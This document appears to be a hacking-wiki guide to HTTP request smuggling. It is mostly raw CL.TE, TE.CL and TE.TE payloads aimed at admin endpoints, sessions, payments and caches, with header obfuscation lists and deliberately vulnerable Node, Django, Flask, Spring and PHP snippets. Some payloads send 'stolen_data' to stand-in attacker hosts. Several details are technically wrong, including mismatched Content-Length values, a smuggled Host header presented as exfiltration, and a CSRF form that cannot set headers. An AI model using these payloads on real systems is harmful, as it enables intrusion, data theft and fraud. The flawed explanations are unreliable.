HTTP Request Smuggling
Before you start, it is very recommended to have basics of HTTP message framing (headers, Content-Length vs Transfer-Encoding), proxy/gateway behavior, and how servers parse ambiguous/pipelined requests. This part may seem long, and its sections are built to be sequentially starting from the beginner level up to some advanced stuff, feel free to navigate to whatever topic you want. hack fun :)
Understanding HTTP Request Smuggling
What is HTTP Request Smuggling?
HTTP Request Smuggling is a critical web vulnerability that exploits differences in how front-end servers (load balancers, reverse proxies, CDNs) and back-end servers parse HTTP requests. When these components disagree about where one request ends and another begins, attackers can "smuggle" requests that bypass security controls, hijack other users' requests, and perform unauthorized actions.
Vulnerable Scenario Example
POST /search HTTP/1.1
Host: vulnerable-app.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLEDDifferent Technology Handling:
Front-end Server: Processes based on
Transfer-Encoding: chunked→ Sees request ending after "0\r\n\r\n"Back-end Server: Processes based on
Content-Length: 13→ Treats "SMUGGLED" as part of next requestResult: "SMUGGLED" gets prepended to the next user's request
How HTTP Request Smuggling Works
Request smuggling exploits the HTTP/1.1 specification ambiguity when both Content-Length and Transfer-Encoding headers are present. RFC 7230 states that Transfer-Encoding should take precedence, but implementations vary.
Request Processing Flow
Client Request - Sends HTTP request with conflicting headers
Front-end Server - Parses request using one method (CL or TE)
Back-end Server - Parses the same request using different method
Desynchronization - Servers disagree on request boundaries
Request Queue Poisoning - Smuggled content affects subsequent requests
Impact and Consequences
Authentication Bypass - Hijacking authenticated sessions
Authorization Bypass - Accessing restricted endpoints
Request Hijacking - Stealing sensitive data from other users
Cache Poisoning - Poisoning web caches with malicious content
Security Control Bypass - Evading WAFs, rate limiting, and logging
Privilege Escalation - Accessing administrative functions
HTTP Request Boundary Fundamentals
Content-Length (CL) Method
Specifies the exact number of bytes in the request body:
POST /api/data HTTP/1.1
Host: example.com
Content-Length: 27
{"username": "testuser"}Transfer-Encoding: chunked (TE) Method
Uses chunked encoding with size indicators:
POST /api/data HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
1b
{"username": "testuser"}
0
Conflicting Headers - The Root Cause
When both headers are present, different servers may prioritize differently:
POST /api/data HTTP/1.1
Host: example.com
Content-Length: 27
Transfer-Encoding: chunked
1b
{"username": "testuser"}
0
SMUGGLED_CONTENTTechnology-Specific Parsing Behavior
Front-end Technologies
HAProxy:
Default: Prioritizes
Transfer-EncodingBehavior: Processes chunked encoding when present
Configuration dependent on
option http-server-close
Nginx:
Default: Prioritizes
Transfer-EncodingBehavior: Rejects requests with both headers by default
Can be configured to allow conflicting headers
Apache HTTP Server:
Default: Prioritizes
Content-Lengthmod_proxy behavior: May forward conflicting headers
Version-dependent processing differences
Cloudflare:
Default: Normalizes requests, removes conflicting headers
Edge cases: May pass through certain malformed requests
Geographic variation in processing
AWS Application Load Balancer:
Default: Prioritizes
Transfer-EncodingBehavior: Validates chunked encoding format
May reject malformed chunk sizes
Back-end Technologies
Apache Tomcat:
// Default behavior: Content-Length priority
// Connector configuration affects parsing
// server.xml configuration:
<Connector port="8080"
protocol="HTTP/1.1"
allowChunking="true"
maxHttpHeaderSize="8192" />Node.js (Express):
// Default: Strict parsing, rejects conflicting headers
app.use(express.json({ strict: true }));
// Vulnerable configuration:
app.use((req, res, next) => {
// Manual parsing can introduce vulnerabilities
let body = '';
req.on('data', chunk => body += chunk);
req.on('end', () => {
req.body = body;
next();
});
});Python (Gunicorn/uWSGI):
# Gunicorn: Prioritizes Content-Length
# uWSGI: Configurable behavior
# wsgi.py - Vulnerable parsing:
def application(environ, start_response):
content_length = environ.get('CONTENT_LENGTH', '0')
body = environ['wsgi.input'].read(int(content_length))
# Vulnerable to CL.TE attacksIIS (Internet Information Services):
Default: Prioritizes
Content-LengthASP.NET Core: Different behavior than IIS
Version-specific parsing differences
Jetty:
// Default: Transfer-Encoding priority
// Version 9.4.x behavior:
HttpConfiguration config = new HttpConfiguration();
config.setRequestHeaderSize(8192);
config.setResponseHeaderSize(8192);
// Vulnerable to certain TE.CL attacksBasic Request Smuggling Techniques
CL.TE (Content-Length.Transfer-Encoding) Attacks
Attack Vector:
Front-end uses
Content-LengthBack-end uses
Transfer-Encoding
Basic CL.TE Attack:
POST /search HTTP/1.1
Host: vulnerable-app.com
Content-Length: 6
Transfer-Encoding: chunked
0
XAnalysis:
Front-end: Reads 6 bytes ("0\r\n\r\nX") → Forwards entire payload
Back-end: Processes chunked encoding → Sees "0\r\n\r\n" as complete request
Result: "X" remains in buffer for next request
Advanced CL.TE Exploitation:
POST /api/login HTTP/1.1
Host: vulnerable-app.com
Content-Length: 54
Transfer-Encoding: chunked
0
GET /admin/users HTTP/1.1
Host: vulnerable-app.com
TE.CL (Transfer-Encoding.Content-Length) Attacks
Attack Vector:
Front-end uses
Transfer-EncodingBack-end uses
Content-Length
Basic TE.CL Attack:
POST /search HTTP/1.1
Host: vulnerable-app.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
Analysis:
Front-end: Processes chunked → Reads "8\r\nSMUGGLED\r\n0\r\n\r\n"
Back-end: Uses Content-Length: 3 → Only reads "8\r\n"
Result: "SMUGGLED\r\n0\r\n\r\n" prepended to next request
Advanced TE.CL Exploitation:
POST /api/search HTTP/1.1
Host: vulnerable-app.com
Content-Length: 4
Transfer-Encoding: chunked
5e
POST /admin/delete-user HTTP/1.1
Host: vulnerable-app.com
Content-Length: 10
user_id=123
0
TE.TE (Transfer-Encoding.Transfer-Encoding) Attacks
Attack Vector:
Both servers support
Transfer-Encodingbut parse it differentlyExploits header obfuscation and processing differences
Header Obfuscation Techniques:
Transfer-Encoding: chunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-encoding: chunked
Transfer-Encoding: chunked, identity
Transfer-Encoding: chunked
Transfer-Encoding: chunkedBasic TE.TE Attack:
POST /search HTTP/1.1
Host: vulnerable-app.com
Transfer-Encoding: chunked
Transfer-Encoding: x
2e
POST /admin/panel HTTP/1.1
Host: vulnerable-app.com
0
Advanced TE.TE with Header Splitting:
POST /api/data HTTP/1.1
Host: vulnerable-app.com
Transfer-Encoding: chunked
Transfer-Encoding:
identity
0
POST /admin/config HTTP/1.1
Host: vulnerable-app.com
Authorization: Bearer admin_token
Authentication and Authorization Bypass
Session Hijacking
Basic Session Hijacking:
POST /api/profile HTTP/1.1
Host: vulnerable-app.com
Content-Length: 54
Transfer-Encoding: chunked
0
GET /api/sensitive HTTP/1.1
Host: vulnerable-app.com
When the next user makes a request:
GET /api/public HTTP/1.1
Host: vulnerable-app.com
Cookie: session=victim_session_tokenThe back-end processes:
GET /api/sensitive HTTP/1.1
Host: vulnerable-app.com
GET /api/public HTTP/1.1
Host: vulnerable-app.com
Cookie: session=victim_session_tokenAdvanced Session Hijacking with Response Capture:
POST /api/search HTTP/1.1
Host: vulnerable-app.com
Content-Length: 150
Transfer-Encoding: chunked
0
POST /api/capture HTTP/1.1
Host: attacker-server.com
Content-Length: 200
Content-Type: application/x-www-form-urlencoded
stolen_data=Admin Panel Access
Direct Admin Bypass:
POST /public/search HTTP/1.1
Host: vulnerable-app.com
Content-Length: 87
Transfer-Encoding: chunked
0
GET /admin/users HTTP/1.1
Host: vulnerable-app.com
Authorization: Bearer
Administrative Function Execution:
POST /api/upload HTTP/1.1
Host: vulnerable-app.com
Content-Length: 116
Transfer-Encoding: chunked
0
POST /admin/delete-all-users HTTP/1.1
Host: vulnerable-app.com
Content-Length: 0
JWT Token Smuggling
JWT Bypass Attack:
POST /api/public HTTP/1.1
Host: vulnerable-app.com
Content-Length: 198
Transfer-Encoding: chunked
0
GET /api/admin/secrets HTTP/1.1
Host: vulnerable-app.com
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
JWT Injection via Smuggling:
POST /login HTTP/1.1
Host: vulnerable-app.com
Content-Length: 245
Transfer-Encoding: chunked
0
POST /api/validate-token HTTP/1.1
Host: vulnerable-app.com
Content-Type: application/json
Content-Length: 150
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYWRtaW4ifQ.signature"}Business Logic Exploitation
E-commerce Price Manipulation
Price Override Attack:
POST /cart/checkout HTTP/1.1
Host: shop.example.com
Content-Length: 200
Transfer-Encoding: chunked
0
POST /admin/set-price HTTP/1.1
Host: shop.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
product_id=123&price=0.01Inventory Bypass:
POST /cart/add-item HTTP/1.1
Host: shop.example.com
Content-Length: 180
Transfer-Encoding: chunked
0
POST /internal/update-inventory HTTP/1.1
Host: shop.example.com
Content-Length: 35
item_id=456&quantity=999999Payment System Manipulation
Payment Amount Tampering:
POST /payment/initiate HTTP/1.1
Host: payment.example.com
Content-Length: 150
Transfer-Encoding: chunked
0
POST /internal/override-amount HTTP/1.1
Host: payment.example.com
Content-Length: 20
amount=1.00Currency Manipulation:
POST /payment/process HTTP/1.1
Host: payment.example.com
Content-Length: 170
Transfer-Encoding: chunked
0
POST /admin/set-exchange-rate HTTP/1.1
Host: payment.example.com
Content-Length: 30
from=USD&to=EUR&rate=0.001Cache Poisoning via Request Smuggling
Web Cache Deception
Basic Cache Poisoning:
POST /api/config HTTP/1.1
Host: vulnerable-app.com
Content-Length: 130
Transfer-Encoding: chunked
0
GET /static/config.js HTTP/1.1
Host: vulnerable-app.com
X-Cache-Key: poisoned
CDN Cache Poisoning:
POST /upload HTTP/1.1
Host: cdn.example.com
Content-Length: 200
Transfer-Encoding: chunked
0
GET /assets/app.js HTTP/1.1
Host: cdn.example.com
User-Agent: <script>alert('XSS')</script>
Response Queue Poisoning
Multi-Stage Cache Poisoning:
Stage 1 - Poison the cache:
POST /api/search HTTP/1.1
Host: vulnerable-app.com
Content-Length: 180
Transfer-Encoding: chunked
0
GET /api/user-preferences HTTP/1.1
Host: vulnerable-app.com
X-Forwarded-Host: evil.com
Stage 2 - Victim requests:
GET /api/user-preferences HTTP/1.1
Host: vulnerable-app.com
Cookie: session=victim_sessionResult: Victim receives malicious response from cache
Advanced Cache Poisoning Techniques
Cache Key Manipulation:
POST /search HTTP/1.1
Host: vulnerable-app.com
Content-Length: 220
Transfer-Encoding: chunked
0
GET /api/data?callback=legitCallback HTTP/1.1
Host: vulnerable-app.com
X-Original-URL: /api/data?callback=evilCallback
JSONP Hijacking via Cache:
POST /api/public HTTP/1.1
Host: vulnerable-app.com
Content-Length: 250
Transfer-Encoding: chunked
0
GET /api/jsonp?callback=processData HTTP/1.1
Host: vulnerable-app.com
Referer: https://evil.com
X-Forwarded-For: 127.0.0.1
Framework-Specific Vulnerabilities
Node.js/Express Applications
Express Body Parser Bypass:
// Vulnerable middleware configuration
app.use(express.json({ limit: '50mb' }));
app.use(express.raw({ type: 'application/octet-stream' }));
// Attack payload:POST /api/upload HTTP/1.1
Host: nodejs-app.com
Content-Type: application/json
Content-Length: 100
Transfer-Encoding: chunked
0
POST /api/admin HTTP/1.1
Host: nodejs-app.com
Content-Type: application/json
{"admin": true}Fastify Plugin Bypass:
// Vulnerable Fastify setup
fastify.register(require('fastify-multipart'));
fastify.addContentTypeParser('text/plain', function (req, done) {
// Vulnerable custom parser
});Python Web Applications
Django Request Smuggling:
# settings.py - Vulnerable configuration
ALLOWED_HOSTS = ['*']
USE_X_FORWARDED_HOST = True
# Vulnerable middleware:
class VulnerableMiddleware:
def __init__(self, get_response):
self.get_response = get_response
def __call__(self, request):
# Direct body parsing without proper validation
body = request.body.decode('utf-8')
# Process body...Attack against Django:
POST /django/api HTTP/1.1
Host: python-app.com
Content-Length: 150
Transfer-Encoding: chunked
0
POST /admin/users/ HTTP/1.1
Host: python-app.com
X-CSRFToken: bypassed
action=delete&id=allFlask Application Vulnerability:
from flask import Flask, request
app = Flask(__name__)
@app.route('/api/data', methods=['POST'])
def handle_data():
# Vulnerable: Direct access to environ
content_length = request.environ.get('CONTENT_LENGTH', 0)
body = request.environ['wsgi.input'].read(int(content_length))
# Process without validation...Java Spring Applications
Spring Boot Request Smuggling:
// Vulnerable configuration
@Configuration
public class WebConfig {
@Bean
public TomcatServletWebServerFactory tomcatFactory() {
TomcatServletWebServerFactory factory = new TomcatServletWebServerFactory();
factory.addProtocolHandlers(new Http11NioProtocol());
// Vulnerable: No request validation
return factory;
}
}Attack payload:
POST /spring/api/data HTTP/1.1
Host: java-app.com
Content-Length: 200
Transfer-Encoding: chunked
0
POST /actuator/shutdown HTTP/1.1
Host: java-app.com
Content-Type: application/json
{"graceful": false}Spring Security Bypass:
@RestController
public class VulnerableController {
@PostMapping("/api/user")
public ResponseEntity<?> updateUser(HttpServletRequest request) {
// Vulnerable: Manual request parsing
String body = IOUtils.toString(request.getInputStream(), "UTF-8");
// Process without Spring's built-in validation
}
}PHP Applications
PHP-FPM Request Smuggling:
<?php
// Vulnerable PHP configuration
// php.ini settings that can lead to vulnerabilities:
// allow_url_fopen = On
// allow_url_include = On
// Vulnerable request handling:
$content_length = $_SERVER['CONTENT_LENGTH'] ?? 0;
$raw_input = file_get_contents('php://input', false, null, 0, $content_length);
// Process without proper validation...
?>WordPress Plugin Vulnerability:
<?php
// Vulnerable WordPress plugin
add_action('wp_ajax_custom_action', 'handle_custom_request');
add_action('wp_ajax_nopriv_custom_action', 'handle_custom_request');
function handle_custom_request() {
// Vulnerable: Direct $_POST access without nonce verification
$action = $_POST['action'] ?? '';
$data = $_POST['data'] ?? '';
// Process request without proper validation
if ($action === 'admin_function') {
// Execute admin function
}
}
?>Advanced Attack Scenarios
Multi-Stage Request Smuggling
Stage 1: Reconnaissance
POST /api/info HTTP/1.1
Host: target.com
Content-Length: 120
Transfer-Encoding: chunked
0
GET /debug/server-info HTTP/1.1
Host: target.com
Stage 2: Privilege Escalation
POST /api/login HTTP/1.1
Host: target.com
Content-Length: 180
Transfer-Encoding: chunked
0
POST /admin/create-user HTTP/1.1
Host: target.com
Content-Length: 50
username=attacker&password=pass&role=adminStage 3: Data Exfiltration
POST /api/search HTTP/1.1
Host: target.com
Content-Length: 250
Transfer-Encoding: chunked
0
POST /api/export-users HTTP/1.1
Host: attacker-server.com
Content-Length: 1000
Content-Type: application/json
{"destination": "https://attacker.com/collect"}Cross-Site Request Smuggling (CSRS)
Traditional CSRF + Request Smuggling:
<!-- Attacker's website -->
<form id="smuggle" action="https://vulnerable-app.com/api/transfer" method="POST">
<input type="hidden" name="Content-Length" value="150">
<input type="hidden" name="Transfer-Encoding" value="chunked">
<textarea name="payload">0
POST /admin/delete-account HTTP/1.1
Host: vulnerable-app.com
Content-Length: 25
account_id=victim_account</textarea>
</form>
<script>document.getElementById('smuggle').submit();</script>Microservices Request Smuggling
Service Mesh Exploitation:
POST /service-a/api HTTP/1.1
Host: microservice-mesh.com
Content-Length: 200
Transfer-Encoding: chunked
0
POST /service-b/admin/config HTTP/1.1
Host: microservice-mesh.com
X-Service-Auth: internal-token
Content-Length: 50
critical_setting=compromised_valueAPI Gateway Bypass:
POST /public/api/v1 HTTP/1.1
Host: api-gateway.com
Content-Length: 300
Transfer-Encoding: chunked
0
GET /internal/api/v2/admin/users HTTP/1.1
Host: internal-service.com
X-Gateway-Bypass: true
Authorization: Bearer internal_token
Last updated
Was this helpful?